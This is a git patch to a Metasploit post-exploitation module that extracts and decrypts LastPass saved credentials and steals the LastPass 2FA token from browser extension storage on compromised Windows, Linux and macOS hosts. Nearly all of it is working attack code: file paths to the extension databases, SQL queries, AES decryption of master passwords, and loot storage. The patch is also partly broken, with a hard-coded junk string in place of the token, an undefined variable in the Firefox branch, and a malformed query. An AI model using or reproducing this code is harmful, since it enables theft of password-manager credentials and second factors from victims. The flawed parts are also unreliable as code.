From 5b0647a1f21e9be2318c5b022b6c6f36526aba49 Mon Sep 17 00:00:00 2001 From: Martin Vigo Date: Mon, 29 Jun 2015 22:20:38 -0700 Subject: [PATCH] Add support to steal 2FA token --- modules/post/multi/gather/lastpass_creds.rb | 292 +++++++++++++++----- 1 file changed, 216 insertions(+), 76 deletions(-) diff --git a/modules/post/multi/gather/lastpass_creds.rb b/modules/post/multi/gather/lastpass_creds.rb index 64e87043fe..65eb675552 100644 --- a/modules/post/multi/gather/lastpass_creds.rb +++ b/modules/post/multi/gather/lastpass_creds.rb @@ -42,93 +42,40 @@ class Metasploit3 < Msf::Post return end - print_status "Extracting credentials from #{account_map.size} LastPass databases" + lastpass_data = {} #Contains all LastPass info - # an array of [user, encrypted password, browser] - credentials = [] # All credentials to be decrypted - account_map.each_pair do |account, browser_map| - browser_map.each_pair do |browser, paths| - if browser == 'Firefox' - paths.each do |path| - data = read_file(path) - loot_path = store_loot( - 'firefox.preferences', - 'text/javascript', - session, - data, - nil, - "Firefox preferences file #{path}" - ) + print_status "Extracting credentials" + lastpass_data = extract_credentials(account_map) - # Extract usernames and passwords from preference file - firefox_credentials(loot_path).each do |creds| - credentials << [account, browser, URI.unescape(creds[0]), URI.unescape(creds[1])] - end - end - else # Chrome, Safari and Opera - paths.each do |path| - data = read_file(path) - loot_path = store_loot( - "#{browser.downcase}.lastpass.database", - 'application/x-sqlite3', - session, - data, - nil, - "#{account}'s #{browser} LastPass database #{path}" - ) - - # Parsing/Querying the DB - db = SQLite3::Database.new(loot_path) - lastpass_user, lastpass_pass = db.execute( - "SELECT username, password FROM LastPassSavedLogins2 " \ - "WHERE username IS NOT NULL AND username != '' " \ - "AND password IS NOT NULL AND password != '';" - ).flatten - if lastpass_user && lastpass_pass - credentials << [account, browser, lastpass_user, lastpass_pass] + print_status "Extracting 2FA tokens" + localstorage_map = build_localstorage_map + if localstorage_map.empty? + print_status "No LastPass localstorage found" + else + twoFA_token_map = check_localstorage_for_2FA_token(localstorage_map) + lastpass_data.each_pair do |account, browser_map| + browser_map.each_pair do |browser, username_map| + username_map.each_pair do |user, data| + if twoFA_token_map[account][browser] + lastpass_data[account][browser][user] << "defverthbertvwervrfv"#twoFA_token_map[account][browser] + else + lastpass_data[account][browser][user] << "NOT_FOUND" end end end end end - credentials_table = Rex::Ui::Text::Table.new( - 'Header' => "LastPass credentials", - 'Indent' => 1, - 'Columns' => %w(Account Browser LastPass_Username LastPass_Password) - ) - # Parse and decrypt credentials - credentials.each do |row| # Decrypt passwords - account, browser, user, enc_pass = row - vprint_status "Decrypting password for #{account}'s #{user} from #{browser}" - password = clear_text_password(user, enc_pass) - credentials_table << [account, browser, user, password] - end - unless credentials.empty? - print_good credentials_table.to_s - path = store_loot( - "lastpass.creds", - "text/csv", - session, - credentials_table.to_csv, - nil, - "Decrypted LastPass Master Passwords" - ) - end + print_lastpass_data(lastpass_data) end + # Returns a mapping of { Account => { Browser => paths } } def build_account_map platform = session.platform profiles = user_profiles found_dbs_map = {} - if datastore['VERBOSE'] - vprint_status "Found #{profiles.size} users: #{profiles.map { |p| p['UserName'] }.join(', ')}" - else - print_status "Found #{profiles.size} users" - end - profiles.each do |user_profile| account = user_profile['UserName'] browser_path_map = {} @@ -144,7 +91,8 @@ class Metasploit3 < Msf::Post when /unix|linux/ browser_path_map = { 'Chrome' => "#{user_profile['LocalAppData']}/.config/google-chrome/Default/databases/chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0", - 'Firefox' => "#{user_profile['LocalAppData']}/.mozilla/firefox" + 'Firefox' => "#{user_profile['LocalAppData']}/.mozilla/firefox", + 'Opera' => "#{user_profile['LocalAppData']}/.config/Opera/databases/chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0.localstorage" } when /osx/ browser_path_map = { @@ -231,7 +179,6 @@ class Metasploit3 < Msf::Post return found_dbs_paths end end - files.each do |file_path| unless %w(. .. Shared).include?(file_path) found_dbs_paths.push([path, file_path].join(sep)) @@ -288,16 +235,18 @@ class Metasploit3 < Msf::Post def clear_text_password(email, encrypted_data) return if encrypted_data.blank? + decrypted_password = "DECRYPTION_ERROR" + sha256_hex_email = OpenSSL::Digest::SHA256.hexdigest(email) sha256_binary_email = [sha256_hex_email].pack "H*" # Do hex2bin - if encrypted_data.include?("|") # Apply CBC + if encrypted_data.include?("|") # Use CBC decipher = OpenSSL::Cipher.new("AES-256-CBC") decipher.decrypt decipher.key = sha256_binary_email # The key is the emails hashed to SHA256 and converted to binary decipher.iv = Base64.decode64(encrypted_data[1, 24]) # Discard ! and | encrypted_password = encrypted_data[26..-1] - else # Apply ECB + else # Use ECB decipher = OpenSSL::Cipher.new("AES-256-ECB") decipher.decrypt decipher.key = sha256_binary_email @@ -305,9 +254,200 @@ class Metasploit3 < Msf::Post end begin - decipher.update(Base64.decode64(encrypted_password)) + decipher.final + decrypted_password = decipher.update(Base64.decode64(encrypted_password)) + decipher.final rescue print_error "Password for #{email} could not be decrypted" end + + decrypted_password end + + + + + + + + def extract_credentials(account_map) + credentials = account_map # All credentials to be decrypted + + account_map.each_pair do |account, browser_map| + browser_map.each_pair do |browser, paths| + credentials[account][browser] = Hash.new # Get rid of the browser paths + if browser == 'Firefox' + paths.each do |path| + data = read_file(path) + loot_path = store_loot( + 'firefox.preferences', + 'text/javascript', + session, + data, + nil, + "Firefox preferences file #{path}" + ) + + # Extract usernames and passwords from preference file + ffcreds = firefox_credentials(loot_path) + unless ffcreds.blank? + ffcreds.each do |creds| + credentials[account][browser]={URI.unescape(creds[0]) => [URI.unescape(creds[1])]} + end + else + credentials[account].delete("Firefox") + end + + end + else # Chrome, Safari and Opera + paths.each do |path| + data = read_file(path) + loot_path = store_loot( + "#{browser.downcase}.lastpass.database", + 'application/x-sqlite3', + session, + data, + nil, + "#{account}'s #{browser} LastPass database #{path}" + ) + + # Parsing/Querying the DB + db = SQLite3::Database.new(loot_path) + result = db.execute( + "SELECT username, password FROM LastPassSavedLogins2 " \ + "WHERE username IS NOT NULL AND username != '' " \ + ) + + for row in result + if row[0] + row[1].blank? ? row[1] = "NOT_FOUND" : row[1] = clear_text_password(row[0], row[1]) #Decrypt credentials + credentials[account][browser][row[0]] = [row[1]] + end + end + end + end + end + end + + credentials + end + + + # Returns a localstorage mapping of { Account => { Browser => paths } } + def build_localstorage_map + platform = session.platform + profiles = user_profiles + found_localstorage_map = {} + + profiles.each do |user_profile| + account = user_profile['UserName'] + browser_path_map = {} + + case platform + when /win/ + browser_path_map = { + 'Chrome' => "#{user_profile['LocalAppData']}\\Google\\Chrome\\User Data\\Default\\Local Storage\\chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0.localstorage", + 'Firefox' => "#{user_profile['AppData']}\\Mozilla\\Firefox\\Profiles", + 'Opera' => "#{user_profile['AppData']}\\Opera Software\\Opera Stable\\Local Storage\\chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0.localstorage", + 'Safari' => "#{user_profile['LocalAppData']}\\Apple Computer\\Safari\\LocalStorage\\safari-extension_com.lastpass.lpsafariextension-n24rep3bmn_0.localstorage" + } + when /unix|linux/ + browser_path_map = { + 'Chrome' => "#{user_profile['LocalAppData']}/.config/google-chrome/Default/Local Storage/chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0.localstorage", + #'Firefox' => "#{user_profile['LocalAppData']}/.mozilla/firefox", + 'Opera' => "#{user_profile['LocalAppData']}/.config/Opera/Local Storage/chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0.localstorage" + } + when /osx/ + browser_path_map = { + 'Chrome' => "#{user_profile['LocalAppData']}/Google/Chrome/Default/Local Storage/chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0.localstorage", + #'Firefox' => "#{user_profile['LocalAppData']}\\Firefox\\Profiles", + 'Opera' => "#{user_profile['LocalAppData']}/com.operasoftware.Opera/Local Storage/chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0.localstorage", + 'Safari' => "#{user_profile['AppData']}/Safari/LocalStorage/safari-extension_com.lastpass.lpsafariextension-n24rep3bmn_0.localstorage" + } + else + print_error "Platform not recognized: #{platform}" + end + + found_localstorage_map[account] = {} + browser_path_map.each_pair do |browser, path| + found_localstorage_map[account][browser] = path if client.fs.file.exists?(path) + end + end + + found_localstorage_map + end + + + #Extracts the 2FA token from localStorage + def check_localstorage_for_2FA_token(localstorage_map) + localstorage_map.each_pair do |account, browser_map| + browser_map.each_pair do |browser, path| + if browser == 'Firefox' + data = read_file(path) + loot_path = store_loot( + 'firefox.preferences', + 'text/javascript', + session, + data, + nil, + "Firefox preferences file #{path}" + ) + + firefox_credentials(loot_path).each do |creds| + credentials << [account, browser, URI.unescape(creds[0]), URI.unescape(creds[1])] + end + else # Chrome, Safari and Opera + data = read_file(path) + loot_path = store_loot( + "#{browser.downcase}.lastpass.localstorage", + 'application/x-sqlite3', + session, + data, + nil, + "#{account}'s #{browser} LastPass localstorage #{path}" + ) + + # Parsing/Querying the DB + db = SQLite3::Database.new(loot_path) + token = db.execute( + "SELECT hex(value) FROM ItemTable " \ + "WHERE key = 'lp.uid';" + ).flatten + token.blank? ? localstorage_map[account][browser] = "NOT_FOUND" : localstorage_map[account][browser] = token.pack('H*') + end + end + end + + localstorage_map + end + + + #Print all extracted LastPass data + def print_lastpass_data(lastpass_data) + lastpass_data_table = Rex::Ui::Text::Table.new( + 'Header' => "LastPass data", + 'Indent' => 1, + 'Columns' => %w(Account Browser LastPass_Username LastPass_Password, LastPass_2FA) + ) + + lastpass_data.each_pair do |account, browser_map| + browser_map.each_pair do |browser, username_map| + username_map.each_pair do |user, data| + lastpass_data_table << [account, browser, user] + data + end + end + end + + unless lastpass_data.empty? + print_good lastpass_data_table.to_s + path = store_loot( + "lastpass.creds", + "text/csv", + session, + lastpass_data_table.to_csv, + nil, + "LastPass Data" + ) + end + + end + end